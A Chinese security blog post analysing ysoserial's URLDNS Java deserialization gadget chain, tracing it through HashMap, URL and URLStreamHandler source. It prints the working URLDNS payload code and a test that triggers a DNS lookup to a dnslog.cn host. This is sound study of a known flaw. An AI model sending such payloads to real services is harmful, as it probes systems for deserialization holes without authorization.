您当前的位置: 首页 >  Java

[JAVA安全]ysoserial_URLDNS分析

发布时间:2022-02-09 11:29:03 ,浏览量:7

ysoserial的URLDNS

URLDNS Payload不依赖任何的第三方库 , 通过HashMap类的反序列化可以触发DNS查询

先看代码:

public class URLDNS implements ObjectPayload<Object> { public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the fieldjava.net.URL.handleris transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; } public static void main(final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); } static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } } 
漏洞验证

参数设置:

image-20220207084911888

运行主函数

image-20220207085807426

验证成功

image-20220207085902267

利用链分析

看到 URLDNS 类的 getObject ⽅法,ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对

象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap 。

类方法声明了反序列化方法private void readObject(java.io.ObjectInputStream s),这是我们的入口方法

java/util/HashMap.java

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } } 

注意到最后的putVal(hash(key), key, value, false, false);,调用了hash函数计算哈希值。

跟进hash函数

static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } 

调用了key.hashCode函数,这个方法会根据传入的参数调用,我们传入的是一个URL,那么这个key是⼀个java.net.URL对象。我们看看其 hashCode ⽅法:

java/net/URL.java

public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; } 

如果hashCode==-1的话,就会重新计算hashCode,调用handler的hashCode()。

跟进:

java/net/URLStreamHandler.java

protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h; } 

这里跟进getHostAddress方法

protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress; } 

这⾥InetAddress.getByName(host)的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。

因此整个利用链:

1. HashMap->readObject() 2. HashMap->hash() 3. URL->hashCode() 4. URLStreamHandler->hashCode() 5. URLStreamHandler->getHostAddress() 6. InetAddress->getByName() 
细节 对序列化过程中DNS查询触发的处理

该链的入口为hash方法,我们发现在HashMap类中的put方法当中就调用了该方法。

public V put(K key, V value) { return putVal(hash(key), key, value, false, true); } 

也就是说当我们简单调用put方法就会触发URLDNS链,验证一下

import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; public class URLDNS { public static void main(String[] args) throws MalformedURLException { HashMap ht = new HashMap(); String url = "http://clnlld.dnslog.cn/"; URL u = new URL(url); ht.put(u,url); } } 

注意到Ysoserial里面的URLDNS多了一部分

URLStreamHandler handler = new SilentURLStreamHandler();

根据调用链,最后会调用handler的getHostAddress方法。Ysoserial创建了一个URLStreamHandler的子类:SilentURLStreamHandler,该类重写了getHostAddress()方法,防止put的触发。

如何使得key.hashCode == -1
  • URL u = new URL(null, url, handler);

    将 URLStreamHandler 对象作为参数 handler 写入到 URL 实例对象中 , 使得反序列化时handler.hashCode()会调用URLStreamHandler.hashCode, 进入 POP Chains .

  • Reflections.setFieldValue(u, "hashCode", -1);

    当调用HashMap.put()方法后 , key 的 HashMap 值肯定会发生变化 , 而要想执行 POP Chains , 就必须使得key.hashCode == -1. 这里通过Reflections.setFieldValue()方法将key.hashCode强制转为-1.

文章参考:

https://blog.csdn.net/Xxy605/article/details/121288365

https://ego00.blog.csdn.net/article/details/119678492

https://y4tacker.blog.csdn.net/article/details/117235572

https://www.guildhab.top/2020/08/java-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e6-%e8%a7%a3%e5%af%86-ysoserial-urldns-pop-chain/

关注
打赏
1688896170
查看更多评论

暂无认证

  • 7浏览

    0关注

    115984博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文
立即登录/注册

微信扫码登录

0.0533s